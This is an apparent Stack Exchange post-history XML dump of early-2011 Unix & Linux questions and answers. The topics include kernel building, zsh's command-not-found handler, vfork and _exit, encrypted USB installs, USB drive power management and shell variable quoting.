  <row Id="11953" PostHistoryTypeId="5" PostId="5158" RevisionGUID="35762a60-6de7-465f-8391-bf6ee093994f" CreationDate="2011-01-03T18:23:35.320" UserId="73" Comment="deleted 66 characters in body" Text="You will have to download the needed linux source from the kernel.org.  &#xD;&#xA;Install the development tools. For eg. in Fedora  &#xD;&#xA;&#xD;&#xA;&gt; yum groupinstall &quot;Development Tools&quot;  &#xD;&#xA;&gt; yum install ncurses-devel   &#xD;&#xA;&gt; yum install qt-devel&#xD;&#xA;&#xD;&#xA;Then untar the source code and place it in /usr/src/kernels/  &#xD;&#xA;Then go inside the source and do a   &#xD;&#xA;&#xD;&#xA;&gt; make menuconfig&#xD;&#xA;&#xD;&#xA;After that add the necessary modules needed for your kernel. If you are concentrating on Network, do the needful inside the Network options.  &#xD;&#xA;After adding the necessary options save the profile and exit.&#xD;&#xA;Then do the following&#xD;&#xA;&#xD;&#xA;&gt; make &amp;&amp; make modules &amp;&amp; make&#xD;&#xA;&gt; modules_install &amp;&amp; make install&#xD;&#xA;&#xD;&#xA;Now check your grub.conf under /boot/grub/grub.conf and make sure you have the configuration for your kernel in it.  &#xD;&#xA;&#xD;&#xA;Now you can add the program which does &lt;whatever you need&gt; to the initrd image.  &#xD;&#xA;The initrd has an init function... modify the init function, to include your custom function.  &#xD;&#xA;" />
  <row Id="11954" PostHistoryTypeId="5" PostId="5344" RevisionGUID="58254512-9a1f-44f5-9d52-6f8e8609ef7e" CreationDate="2011-01-03T18:25:23.790" UserId="73" Comment="added 8 characters in body" Text="Greetings, I've tried putting this into configuration to fix symlinks for windows for my setup , but I am not sure if it will affect windows client, otherwise it follows symlinks when I connect to this box. &#xD;&#xA;&#xD;&#xA;    [global]                                                                        &#xD;&#xA;    unix extensions = no&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11955" PostHistoryTypeId="6" PostId="5195" RevisionGUID="4c5ccc07-e33b-4d7b-9521-9ffc9c3177e4" CreationDate="2011-01-03T18:41:59.087" UserId="688" Comment="edited tags" Text="élinuxàéubuntuàéserveràémailàéfileöserverà" />
  <row Id="11956" PostHistoryTypeId="2" PostId="5373" RevisionGUID="a137f558-a97f-4776-9044-471c74ac234e" CreationDate="2011-01-03T18:59:30.407" UserId="1571" Text="Is there a way to intercept the &quot;command not found&quot; error in ZSH? I've seen this is possible in bash apparently, but I couldn't find anything about doing it in zsh." />
  <row Id="11957" PostHistoryTypeId="1" PostId="5373" RevisionGUID="a137f558-a97f-4776-9044-471c74ac234e" CreationDate="2011-01-03T18:59:30.407" UserId="1571" Text="Intercept &quot;command not found&quot; error in zsh" />
  <row Id="11958" PostHistoryTypeId="3" PostId="5373" RevisionGUID="a137f558-a97f-4776-9044-471c74ac234e" CreationDate="2011-01-03T18:59:30.407" UserId="1571" Text="éshellàézshàétrapà" />
  <row Id="11959" PostHistoryTypeId="2" PostId="5374" RevisionGUID="dfef84d1-d841-42fe-a86e-e2570a5ad428" CreationDate="2011-01-03T19:05:51.477" UserId="73" Text="There is; it's the same as in bash, you make a function named `command_not_found_handler`. It'll be passed all the arguments that were given in the shell&#xD;&#xA;&#xD;&#xA;    $ foobar baz&#xD;&#xA;    zsh: command not found: foobar&#xD;&#xA;    $ function command_not_found_handler() {echo &quot;You tried to run $1 with arg $2&quot;;}&#xD;&#xA;    $ foobar baz&#xD;&#xA;    You tried to run foobar with arg baz&#xD;&#xA;    " />
  <row Id="11960" PostHistoryTypeId="16" PostId="5201" RevisionGUID="cdc4b3d6-98da-434f-bdaf-1b1ff4a7b870" CreationDate="2011-01-03T19:08:36.607" UserId="73" />
  <row Id="11961" PostHistoryTypeId="16" PostId="5202" RevisionGUID="424f4467-afd4-4021-af1f-b0080151dc10" CreationDate="2011-01-03T19:08:36.607" UserId="73" />
  <row Id="11962" PostHistoryTypeId="16" PostId="5203" RevisionGUID="a12fc396-e0fa-48f6-b785-75c0a730edaf" CreationDate="2011-01-03T19:08:36.607" UserId="73" />
  <row Id="11963" PostHistoryTypeId="16" PostId="5195" RevisionGUID="f4e91f05-7297-4e85-8a29-89506d391858" CreationDate="2011-01-03T19:08:36.607" UserId="73" />
  <row Id="11964" PostHistoryTypeId="2" PostId="5375" RevisionGUID="54f9ccee-7155-47ac-881a-f6314084e428" CreationDate="2011-01-03T19:39:39.543" UserId="885" Text="As [seen earlier](http://unix.stackexchange.com/questions/5337/whats-the-difference-between-fork-and-vfork), `vfork` does not allow the child process to access the parent's memory. [`exit`](http://pubs.opengroup.org/onlinepubs/009695399/functions/exit.html) is a C library function (that's why it's [often written](http://unix.stackexchange.com/questions/3586/what-do-the-numbers-in-a-man-page-mean) as `exit(3)`). It performs various cleanup tasks such as flushing and closing C streams (the files open through functions declared in `stdio.h`) and executing user-specified functions registered with `atexit`. All these tasks involve reading and writing to the process memory.&#xD;&#xA;&#xD;&#xA;[`_exit`](http://pubs.opengroup.org/onlinepubs/009695399/functions/_exit.html) exits without cleanup. It's directly a system call (which is why it's written as `_exit(2)`), typically implemented by placing the system call number in a processor register and executing a particular processor instruction (branching to the system call handler). This doesn't need to access the process memory, so it's safe to do after `vfork`.&#xD;&#xA;&#xD;&#xA;After `fork`, there is no such restriction: the parent and child process are now completely autonomous.&#xD;&#xA;" />
  <row Id="11965" PostHistoryTypeId="2" PostId="5376" RevisionGUID="a62d7cba-ea66-47e1-a41f-1b1d3a5b442a" CreationDate="2011-01-03T19:50:25.790" UserId="885" Text="You can use the readline commands `history-search-backward` and `history-search-forward` to navigate between commands lines beginning with the prefix you've already typed. Neither of these commands are bound to keys in the default configuration.&#xD;&#xA;&#xD;&#xA;Zsh (zle) has similar commands `history-beginning-search-backward` and `history-beginning-search-forward`, also not bound to keys by default. There are also `history-search-backward` and `history-search-forward`, which uses the first word of the current command as the prefix to search regardless of the cursor position.&#xD;&#xA;" />
  <row Id="11966" PostHistoryTypeId="2" PostId="5377" RevisionGUID="decc2848-51eb-46ea-9a9d-f4c96771d791" CreationDate="2011-01-03T20:00:36.983" UserId="3435" Text="Is it possible to create a single-user USB installation (with persistence) of Ubuntu Linux such that the entire USB stick is encrypted and requires a passphrase at boot time?&#xD;&#xA;&#xD;&#xA;Is there an online tutorial for this?&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;PaulH" />
  <row Id="11967" PostHistoryTypeId="1" PostId="5377" RevisionGUID="decc2848-51eb-46ea-9a9d-f4c96771d791" CreationDate="2011-01-03T20:00:36.983" UserId="3435" Text="USB Ubuntu  with whole-disk encryption" />
  <row Id="11968" PostHistoryTypeId="3" PostId="5377" RevisionGUID="decc2848-51eb-46ea-9a9d-f4c96771d791" CreationDate="2011-01-03T20:00:36.983" UserId="3435" Text="éubuntuàéusbàéencryptionà" />
  <row Id="11969" PostHistoryTypeId="5" PostId="5377" RevisionGUID="86d03f68-4e60-4c36-b84a-58ff3d96932c" CreationDate="2011-01-03T20:47:52.190" UserId="73" Comment="deleted 16 characters in body" Text="Is it possible to create a single-user USB installation (with persistence) of Ubuntu Linux such that the entire USB stick is encrypted and requires a passphrase at boot time?&#xD;&#xA;&#xD;&#xA;Is there an online tutorial for this?&#xD;&#xA;" />
  <row Id="11970" PostHistoryTypeId="2" PostId="5378" RevisionGUID="ecffef57-4730-419c-8f92-dc6cf4c7034e" CreationDate="2011-01-03T21:02:53.667" UserId="885" Text="On Debian and Ubuntu, the place to configure networking without Network Manager is [`/etc/network/interfaces`](http://manpages.ubuntu.com/manpages/lucid/en/man5/interfaces.5.html). Something like this should work (you may need to change the interface number):&#xD;&#xA;&#xD;&#xA;    auto eth2&#xD;&#xA;    iface eth2 inet static&#xD;&#xA;        address 10.10.6.1&#xD;&#xA;        netmask 255.255.255.0&#xD;&#xA;        broadcast 10.10.6.255&#xD;&#xA;        pre-up modprobe eth1394&#xD;&#xA;&#xD;&#xA;Run `ifup eth2` and `ifup eth2` to bring the interface up or down. The `auto` statement causes the interface to be brought up as part of the boot process. Network Manager won't touch an interface mentioned in `/etc/network/interfaces`.&#xD;&#xA;&#xD;&#xA;[Zeroconf](https://help.ubuntu.com/community/HowToZeroconf) is often nice for Firewire links: if you run it at both ends, it automatically negociates addresses and routing. However it's no help if you want a more managed network (e.g. to give your laptop a name, bring it inside a casual firewall, …).&#xD;&#xA;" />
  <row Id="11971" PostHistoryTypeId="2" PostId="5379" RevisionGUID="2690e88c-075c-4d12-9911-f3e0735e30e9" CreationDate="2011-01-03T21:10:19.137" UserId="732" Text="You have the child call _exit() to avoid flushing stdio (or other) buffers when the child process exits.  Since the child process constitutes an exact copy of the parent process, the child process still has whatever the parent had in &quot;stdout&quot; or &quot;stderr&quot;, the buffers from &amp;lt;stdio.h&amp;gt;.  You can (and will, at inopportune times) get double outputs by calling exit(), one from the child process' atexit handlers, and one from the parent, when the buffers in the parent process get full, and get flushed.&#xD;&#xA;&#xD;&#xA;I realize the above answer concentrates on stdio.h specifics, but that idea probably carries over to other buffered I/O, just as one of the answers above indicates." />
  <row Id="11972" PostHistoryTypeId="2" PostId="5380" RevisionGUID="9345a808-993d-42a3-b613-65ba6d890e32" CreationDate="2011-01-03T21:12:07.793" UserId="885" Text="It should be straightforward to make a persistent installation directly on a USB stick, as if it was an internal disk. Plug in your Ubuntu installation media (I recommend not putting it on the same stick, so that the two are bootable separately), your USB stick, and point the installer to the stick.&#xD;&#xA;&#xD;&#xA;The server installer (alternate CD) supports creating and installing to an encrypted partition (with [dm-crypt](https://help.ubuntu.com/community/EncryptedFilesystemHowto4)).&#xD;&#xA;" />
  <row Id="11973" PostHistoryTypeId="6" PostId="5377" RevisionGUID="ee1698f2-796e-44f5-8dd7-2341d3332abd" CreationDate="2011-01-03T21:12:24.923" UserId="885" Comment="edited tags" Text="éubuntuàéinstallàéusbàéencryptionà" />
  <row Id="11974" PostHistoryTypeId="5" PostId="5355" RevisionGUID="662e3f3f-53cb-4522-8e9d-8d4f8123ff32" CreationDate="2011-01-03T21:49:08.777" UserId="2594" Comment="added 145 characters in body" Text="If I understand correctly your question, you are asking how pagination occurs if no swap space is defined.&#xD;&#xA;&#xD;&#xA;With OSes systems using the traditional Unix approach, virtual memory is always backed by physical RAM so no page faults can occur because of this missing swap area, outside of course unrelated cases like memory mapped files or bogus pointers.&#xD;&#xA; &#xD;&#xA;With overcommitting OS like Linux, there is no strict reservation happening so the first access to an unmapped page while no more RAM is available would trigger the OOM killer or some other destructive/error event. " />
  <row Id="11975" PostHistoryTypeId="2" PostId="5381" RevisionGUID="4657a0aa-71ea-46c0-928c-11110fb7fc36" CreationDate="2011-01-04T01:18:04.460" UserId="1535" Text="I've recently asked an as-yet-unanswered [related question](http://unix.stackexchange.com/questions/5343/power-management-of-usb-enclosed-hard-drives).&#xD;&#xA;&#xD;&#xA;My question here is a bit different: I want to know the best way to add storage to a laptop-based system without sacrificing power efficiency or &quot;material efficiency&quot;.  By the last, I mean anything which would cause the storage elements to deteriorate more rapidly than necessary.  The main example I can think of is if spindown happens too infrequently, or perhaps also too frequently, the lifespan of the drive in question may be reduced.&#xD;&#xA;&#xD;&#xA;**aside**&#xD;&#xA;&#xD;&#xA;Currently I'm trying to figure out how to get an [HP Simplesave 2.5&quot;](http://h10025.www1.hp.com/ewfrf/wc/manualCategory?lc=en&amp;dlc=en&amp;cc=ca&amp;product=4023094&amp;) drive to behave reasonably well.  Obviously this is not the optimal choice; it was a boxing week sale which may end up being taken back.&#xD;&#xA;&#xD;&#xA;Various tests on it using `hdparm` seem to indicate that it's not using the value of the `-S` parameter, which is supposed to determine how long it waits to spin down.  Instead, it seems to spin down after 10 seconds if the `-B` option is set to 127 or less, and after a long period of time, or perhaps not at all, if it is higher.  I mention this mainly because I'm not entirely convinced that these directives will tend to work as `man hdparm` says they should even on drives mounted in proper USB enclosures.  The manual does mention that newer enclosures tend to support these features.&#xD;&#xA;&#xD;&#xA;**main point**&#xD;&#xA;&#xD;&#xA;The system tends to function mostly as a server, though does see occasional use as a media box.  It may get suspended from time to time, or may end up being powered on and active (though idle) for months.&#xD;&#xA;&#xD;&#xA;I'd like to have available the same sort of power management functionality that I would get with an internally-mounted HDD in a desktop (or rack-mounted?) server.  This includes spinning down and/or sleeping the drive when the server is suspended.&#xD;&#xA;&#xD;&#xA;So I'd like to know the best approach to finding an efficient storage solution.  Are certain brands of enclosures better for this?  Is it necessary to use a 3.5&quot; enclosure, or at least one that is powered separately from the USB line, to get proper power management facilities?  Or would I have use a full NAS system for that?" />
  <row Id="11976" PostHistoryTypeId="1" PostId="5381" RevisionGUID="4657a0aa-71ea-46c0-928c-11110fb7fc36" CreationDate="2011-01-04T01:18:04.460" UserId="1535" Text="Adding efficient storage to a laptop-based system" />
  <row Id="11977" PostHistoryTypeId="3" PostId="5381" RevisionGUID="4657a0aa-71ea-46c0-928c-11110fb7fc36" CreationDate="2011-01-04T01:18:04.460" UserId="1535" Text="éhardödiskàépowerömanagementàéexternalöhddàéusbödriveà" />
  <row Id="11978" PostHistoryTypeId="2" PostId="5382" RevisionGUID="fe7a2d2c-5e0e-4fcf-bae5-8013b9643e36" CreationDate="2011-01-04T01:26:17.637" UserId="3436" Text="First of all: I asked this question on SuperUser, when I wasn't thinking about a StackExchange Site for Linux-related questions. So if this violates any rules please feel free to close.    &#xD;&#xA;&#xD;&#xA;I have fought with myself whether or not i should ask this question but I find myself stuck and I need another expert opinion.   &#xD;&#xA;I can't seem find the right combination of display and window manager (and composit manager). I have tried some different combinations but most of them don't work for me. I have been working with Linux for a few years now and currently I'm running Gentoo with GDM, Openbox(stand alone, Gnome aware) and xcompmgr.  &#xD;&#xA;But I have tried Metacity, Awesome and Fluxbox with and without Compiz, but always with GDM. &#xD;&#xA;What I want: A lightweight, HIGHLY configurable environment that doesn't rely on mouse-input too much (except for web browsing and image processing). At 95% I work programming or so with multiple consoles and desktops on multiple screens.  &#xD;&#xA;What makes me ask is that most lightweight environments seem somewhat &quot;unfinished&quot; and show unexpected behavior quite often and that doesn't make me feel too good as I want an environment thats stable.   &#xD;&#xA;And of course I want an environment which is not TOO ugly to look at as I use it at an average of 10 hours a day. :) Any thoughts? What do you use in a similar situation?    &#xD;&#xA;Thanks for any advice!    &#xD;&#xA;&#xD;&#xA;(At SuperUser I was told to try XFCE. I am doing that right now.)   &#xD;&#xA;&#xD;&#xA;Greetings" />
  <row Id="11979" PostHistoryTypeId="1" PostId="5382" RevisionGUID="fe7a2d2c-5e0e-4fcf-bae5-8013b9643e36" CreationDate="2011-01-04T01:26:17.637" UserId="3436" Text="Need a programmers advice on *X display manager, window manager and composit manager combination" />
  <row Id="11980" PostHistoryTypeId="3" PostId="5382" RevisionGUID="fe7a2d2c-5e0e-4fcf-bae5-8013b9643e36" CreationDate="2011-01-04T01:26:17.637" UserId="3436" Text="éwindowömanageràédesktopöenvironmentà" />
  <row Id="11981" PostHistoryTypeId="2" PostId="5383" RevisionGUID="06f47f0a-9685-488c-9786-683c55e75b53" CreationDate="2011-01-04T02:00:23.443" UserId="688" Text="On a Debian system, one can type `pager` in order to use whatever pager program happens to be default/available. By default, `less` is used, and if not available, the lesser `more` gets to do the job. Is such a thing available in other Unix and Linux systems?" />
  <row Id="11982" PostHistoryTypeId="1" PostId="5383" RevisionGUID="06f47f0a-9685-488c-9786-683c55e75b53" CreationDate="2011-01-04T02:00:23.443" UserId="688" Text="Which system have 'pager' shortcut?" />
  <row Id="11983" PostHistoryTypeId="3" PostId="5383" RevisionGUID="06f47f0a-9685-488c-9786-683c55e75b53" CreationDate="2011-01-04T02:00:23.443" UserId="688" Text="élessàépageràémoreà" />
  <row Id="11984" PostHistoryTypeId="5" PostId="797" RevisionGUID="3fadf6ca-6064-48fb-9806-60b405228ac2" CreationDate="2011-01-04T02:06:01.657" UserId="73" Comment="added 1 characters in body; edited title" Text="I am trying to understand how a function, say `mkdir` works by looking at the kernel source. This is an attempt to understand the kernel internals and navigate between various functions. I know `mkdir` is defined in `sys/stat.h`. I found the prototype like,&#xD;&#xA;&#xD;&#xA;    /* Create a new directory named PATH, with permission bits MODE.  */&#xD;&#xA;    extern int mkdir (__const char *__path, __mode_t __mode)&#xD;&#xA;         __THROW __nonnull ((1));&#xD;&#xA;&#xD;&#xA;Now I need to see on which C file this function is implemented. From the source directory, I tried&#xD;&#xA;&#xD;&#xA;    ack &quot;int mkdir&quot;&#xD;&#xA;&#xD;&#xA;which displayed&#xD;&#xA;&#xD;&#xA;    security/inode.c&#xD;&#xA;    103:static int mkdir(struct inode *dir, struct dentry *dentry, int mode)&#xD;&#xA;    &#xD;&#xA;    tools/perf/util/util.c&#xD;&#xA;    4:int mkdir_p(char *path, mode_t mode)&#xD;&#xA;    &#xD;&#xA;    tools/perf/util/util.h&#xD;&#xA;    259:int mkdir_p(char *path, mode_t mode);&#xD;&#xA;&#xD;&#xA;But none of them matches the definition in `sys/stat.h`.&#xD;&#xA;&#xD;&#xA;*Questions*&#xD;&#xA;&#xD;&#xA; 1. Which file has `mkdir` implementation?&#xD;&#xA; 2. With a function definition like the above, how can I find out which file has the implementation? Is there any pattern which kernel follows in defining and implementing methods?&#xD;&#xA;&#xD;&#xA;I am using [this][1] version of kernel.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.kernel.org/pub/linux/kernel/v2.6/testing/linux-2.6.36-rc1.tar.bz2" />
  <row Id="11985" PostHistoryTypeId="4" PostId="797" RevisionGUID="3fadf6ca-6064-48fb-9806-60b405228ac2" CreationDate="2011-01-04T02:06:01.657" UserId="73" Comment="added 1 characters in body; edited title" Text="Understanding the linux kernel source" />
  <row Id="11986" PostHistoryTypeId="5" PostId="5113" RevisionGUID="e2766cc3-d304-4e12-b39a-fe60a2351928" CreationDate="2011-01-04T02:06:30.800" UserId="73" Comment="added 6 characters in body" Text="I was running low in disk space on my Linux box, Ubuntu 10.10 Desktop, (specifically on my /home partition) so I added another disk to it and I am trying to move the home partition into it.&#xD;&#xA;&#xD;&#xA;I am trying to follow the steps on this guide here: https://help.ubuntu.com/community/Partitioning/Home/Moving&#xD;&#xA;&#xD;&#xA;However, when copying the files over to the new mounted partition rsync seems to fail silently. When I compare the folders, the new one is still empty.&#xD;&#xA;&#xD;&#xA;This is the command that I am executing:&#xD;&#xA;&#xD;&#xA;    sudo rsync -axS --exclude='/*/.gvfs' /home/. /media/home/.&#xD;&#xA;&#xD;&#xA;Has it anything to do with the encryption on my home folder?" />
  <row Id="11987" PostHistoryTypeId="2" PostId="5384" RevisionGUID="dddd9a3a-072a-4701-8f22-bb2d58a51c9c" CreationDate="2011-01-04T02:06:31.800" UserId="3436" Text="All Linux-Distributions I have used so far (Gentoo, Debian, Slackware, Fedora, OpenSuse) had an Environment-Variable called PAGER which set the pager (default, as said, less). &#xD;&#xA;It's set in your shell environment.    &#xD;&#xA;I think the command `man` uses this variable.." />
  <row Id="11988" PostHistoryTypeId="2" PostId="5385" RevisionGUID="25325c16-cc27-4fae-9c4b-66b80875aba3" CreationDate="2011-01-04T02:07:23.373" UserId="1779" Text="&lt;pre&gt;&#xD;&#xA;$ update-alternatives --list pager&#xD;&#xA;/bin/less&#xD;&#xA;/bin/more&#xD;&#xA;/usr/bin/pg&#xD;&#xA;/usr/bin/w3m&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;YMMV depending on what you have installed, but this is Debian-specific (well, and derivatives too).&#xD;&#xA;&#xD;&#xA;Customarily one uses `$PAGER` with a fallback to `more`." />
  <row Id="11989" PostHistoryTypeId="5" PostId="5117" RevisionGUID="033b6fa7-5702-4b8c-9e14-bbd670c6ee3c" CreationDate="2011-01-04T02:08:18.130" UserId="73" Comment="deleted 87 characters in body; edited tags; edited title" Text="Imagine there's a company A that releases a new graphics adapter. Who manages the process that results in this new graphics adapter being supported by the Linux kernel in the future? How does that proceed? I'm curious how kernel support for any new hardware is handled; on Windows companies develop drivers on their own, but how does Linux get specific hardware support?&#xD;&#xA;" />
  <row Id="11990" PostHistoryTypeId="4" PostId="5117" RevisionGUID="033b6fa7-5702-4b8c-9e14-bbd670c6ee3c" CreationDate="2011-01-04T02:08:18.130" UserId="73" Comment="deleted 87 characters in body; edited tags; edited title" Text="How is new hardware support added to the linux kernel?" />
  <row Id="11991" PostHistoryTypeId="6" PostId="5117" RevisionGUID="033b6fa7-5702-4b8c-9e14-bbd670c6ee3c" CreationDate="2011-01-04T02:08:18.130" UserId="73" Comment="deleted 87 characters in body; edited tags; edited title" Text="élinuxàékernelàédriversà" />
  <row Id="11992" PostHistoryTypeId="2" PostId="5386" RevisionGUID="0973f94f-65fa-4add-940e-2bc77c549c4e" CreationDate="2011-01-04T07:37:17.767" UserId="1535" Text="The [manual for the linux `hdparm`](http://man.he.net/man8/hdparm) provides the following info:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    -B  Query/set Advanced Power Management feature,&#xD;&#xA;        if the drive supports it.&#xD;&#xA;        A low value means aggressive  power  management&#xD;&#xA;        and a high value means better performance.&#xD;&#xA;        &#xD;&#xA;        Possible settings range&#xD;&#xA;        from values 1 through  127  (which  permit spin-down),&#xD;&#xA;        and values 128 through 254 (which do not permit spin-down).&#xD;&#xA;        &#xD;&#xA;        The highest degree of  power  management&#xD;&#xA;        is attained with a setting of 1,&#xD;&#xA;        and the highest I/O performance with a setting of 254.&#xD;&#xA;        &#xD;&#xA;        A  value  of  255  tells hdparm to&#xD;&#xA;        disable Advanced Power Management altogether on the drive&#xD;&#xA;        (not all drives support disabling it, but  most do).&#xD;&#xA;&#xD;&#xA;That being said, it's still not guaranteed that your drive enclosure will support relaying these instructions to the drive.  The same reference mentions that being able to use hdparm with an enclosure at all is only possible with certain &quot;newer (2008 and later)&quot; models that support the SCSI-ATA Command Translation system, aka &quot;SAT&quot;.  I've yet to try doing this on anything but a recent cheap backup drive, an HP SimpleSave model.  It seems to provide some limited power management functionality.&#xD;&#xA;&#xD;&#xA;And of course this also assumes that OpenBSD's `hdparm` works in the same way.  I am not at all knowledgeable in the ways of OpenBSD, so I can't help you there." />
  <row Id="11993" PostHistoryTypeId="5" PostId="5238" RevisionGUID="c503dba3-3737-4924-a2cb-657c6afeb6f3" CreationDate="2011-01-04T08:00:18.593" UserId="863" Comment="added 14 characters in body" Text="On my new PC I want to install both Linux and Windows, each on their own rather small partition, and put the big rest of the 1 TB HDD in a further partition (plus swap). Which filesystem should I use? My thoughts:&#xD;&#xA;&#xD;&#xA;- NTFS. Linux has write support, but I noticed on my external HDD a huge perfomance drop when only a few GB (of 500 GB) were left free - suddenly a few hundred MB took half an hour to copy... Any ideas why? Also no file permissions with Linux, although that is not 100% necessary but would be a bonus&#xD;&#xA;- fat32. Too old, won't support that partition size anyway&#xD;&#xA;- ext3. Windows can read for example via [ext2ifs](http://www.fs-driver.org/), but what about good write support? I'd even consider a small virtual machine with a tiny Linux installation to only provide a NFS share to its host windows (probably qemu, distro recommendation are appreciated)&#xD;&#xA;- ext4. I lack the experience with it...&#xD;&#xA;&#xD;&#xA;It looks lke NTFS is the way to go for now (just as it was [two years ago](http://serverfault.com/q/3038/45248)), but I'd prefer a less proprietary solution...&#xD;&#xA;&#xD;&#xA;&lt;!-- Oh yeah, if you wonder what I'd use windows for anyway, the only reason still remaining is games...--&gt;" />
  <row Id="11994" PostHistoryTypeId="2" PostId="5387" RevisionGUID="d8aaa55e-e302-4684-b577-4a7f2fabbdcf" CreationDate="2011-01-04T08:01:54.100" UserId="1535" Text="I'd like to maintain power supply to a USB-powered drive when the system goes into suspend (AKA S3 or &quot;suspend-to-RAM&quot;) mode.&#xD;&#xA;&#xD;&#xA;Normally the power is cut while the machine is suspended, which causes it to be dismounted and then remounted when the system is resumed.  This is not really great, especially if the drive itself supports power management.&#xD;&#xA;&#xD;&#xA;Although I could run it on a separate power supply, I'd prefer to have to avoid allocating more wiring for something that can, at least in theory, be done with my existing hardware.&#xD;&#xA;&#xD;&#xA;How can I determine if it is possible to do this with my system, and how can I arrange for a particular USB device, i.e. this enclosure, to always be treated this way?&#xD;&#xA;&#xD;&#xA;I'm running ubuntu 10.10." />
  <row Id="11995" PostHistoryTypeId="1" PostId="5387" RevisionGUID="d8aaa55e-e302-4684-b577-4a7f2fabbdcf" CreationDate="2011-01-04T08:01:54.100" UserId="1535" Text="How to avoid powering down certain USB devices when a machine is suspended" />
  <row Id="11996" PostHistoryTypeId="3" PostId="5387" RevisionGUID="d8aaa55e-e302-4684-b577-4a7f2fabbdcf" CreationDate="2011-01-04T08:01:54.100" UserId="1535" Text="élinuxàéubuntuàéusbàépowerömanagementàéusbödriveà" />
  <row Id="11997" PostHistoryTypeId="5" PostId="5336" RevisionGUID="24eb9840-5cf6-4e94-806a-e388bf7666bf" CreationDate="2011-01-04T08:30:45.280" UserId="1327" Comment="deleted 19 characters in body" Text="How is paging managed in the absence of swapping. If that is the case, how will a page fault be managed?  &#xD;&#xA;&#xD;&#xA;What I meant is, if there is no availability for swapping, then how is Paging managed. I know that there will be two list of pages - free_pages list and allocated_pages list. When the pages in the free_pages list becomes low, it will move the LRU pages from the allocated_pages list to the swap partition. I just want to know what will happen if there is no swap partition. " />
  <row Id="11998" PostHistoryTypeId="6" PostId="4852" RevisionGUID="f8372a3d-6d87-47df-9796-328f83cf9073" CreationDate="2011-01-04T08:55:49.040" UserId="688" Comment="rm useless tag" Text="énautilusà" />
  <row Id="11999" PostHistoryTypeId="5" PostId="5343" RevisionGUID="5b1c5cd4-ef99-41ca-94df-61170c31cf2b" CreationDate="2011-01-04T09:10:34.967" UserId="1535" Comment="added 197 characters in body; edited tags" Text="With a typical USB hard drive enclosure, is the full range of drive power management functionality available?&#xD;&#xA;&#xD;&#xA;**edit**: moved this into a [separate question](http://unix.stackexchange.com/questions/5387/how-to-avoid-powering-down-certain-usb-devices-when-a-machine-is-suspended):&#xD;&#xA;&#xD;&#xA;&lt;s&gt;&#xD;&#xA;In what may be an unrelated matter: is it possible to suspend a PC without unmounting an attached USB-powered drive, and then remounting it on resume?  This is the behaviour I'm currently seeing (running Ubuntu linux 10.10).&#xD;&#xA;&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;**/edit**&#xD;&#xA;&#xD;&#xA;Are there certain models or brands that provide more complete control over this aspect of drive operation?  My Friendly Neighbourhood Computer Store carries (part of) the Vantec Nexstar product line." />
  <row Id="12000" PostHistoryTypeId="6" PostId="5343" RevisionGUID="5b1c5cd4-ef99-41ca-94df-61170c31cf2b" CreationDate="2011-01-04T09:10:34.967" UserId="1535" Comment="added 197 characters in body; edited tags" Text="élinuxàéubuntuàépowerömanagementàéusbödriveàéexternalöhddà" />
  <row Id="12001" PostHistoryTypeId="2" PostId="5388" RevisionGUID="bd13532a-599b-41ec-82a6-0d0352858c7d" CreationDate="2011-01-04T09:27:17.863" UserId="2750" Text="It is difficult to find a good multifunction LASER in my price range.  But there are several good cheap laser printers (non-multifunction) and I have an excellent scanner (better than I could get on a multifunction). &#xD;&#xA;&#xD;&#xA;But making copies would be a pain if I had to operate the printer and scanner seperately.  &#xD;&#xA;&#xD;&#xA;Is there a program or script that can imitate the copier &amp;/or fax functions of a good multifunction printer by automating the scan and passing it to the printer?&#xD;&#xA;" />
  <row Id="12002" PostHistoryTypeId="1" PostId="5388" RevisionGUID="bd13532a-599b-41ec-82a6-0d0352858c7d" CreationDate="2011-01-04T09:27:17.863" UserId="2750" Text="Imitating  Multifunction Printers" />
  <row Id="12003" PostHistoryTypeId="3" PostId="5388" RevisionGUID="bd13532a-599b-41ec-82a6-0d0352858c7d" CreationDate="2011-01-04T09:27:17.863" UserId="2750" Text="éprintingàéscannerà" />
  <row Id="12004" PostHistoryTypeId="2" PostId="5389" RevisionGUID="c777a26d-370a-460a-81f1-9a69bc9db9ac" CreationDate="2011-01-04T10:09:39.137" UserId="2504" Text="How can I concatenate a shell variable to other other parameters in my command lines ?&#xD;&#xA;&#xD;&#xA;For example,&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    WEBSITE=&quot;danydiop&quot; &#xD;&#xA;    /usr/bin/mysqldump --opt -u root --ppassword $WEBSITE &gt; $WEBSITE.sql&#xD;&#xA;&#xD;&#xA;I need to concatenate &quot;.sql&quot; to $WEBSITE &#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="12005" PostHistoryTypeId="1" PostId="5389" RevisionGUID="c777a26d-370a-460a-81f1-9a69bc9db9ac" CreationDate="2011-01-04T10:09:39.137" UserId="2504" Text="How can I concatenate a shell variable to other other parameters in my command lines ? " />
  <row Id="12006" PostHistoryTypeId="3" PostId="5389" RevisionGUID="c777a26d-370a-460a-81f1-9a69bc9db9ac" CreationDate="2011-01-04T10:09:39.137" UserId="2504" Text="éshellàéshellöscriptà" />
  <row Id="12007" PostHistoryTypeId="2" PostId="5390" RevisionGUID="115e87f5-62b1-4d99-8dc6-d1a3be08c59c" CreationDate="2011-01-04T10:39:25.613" UserId="252" Text="I usually use quotes, e.g. `echo &quot;$WEBSITE.sql&quot;`.&#xD;&#xA;&#xD;&#xA;So you could write it like:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    WEBSITE=&quot;danydiop&quot; &#xD;&#xA;    /usr/bin/mysqldump --opt -u root --ppassword $WEBSITE &gt; &quot;$WEBSITE.sql&quot;" />
  <row Id="12008" PostHistoryTypeId="5" PostId="4853" RevisionGUID="655e76c2-a154-4169-bb29-3a89b7a91b83" CreationDate="2011-01-04T10:40:17.627" UserId="252" Comment="Corrected code block" Text="If you look in `~/.local/share/applications` and `/usr/share/applications` you can remove duplicates from those two places. That did it for me.  " />
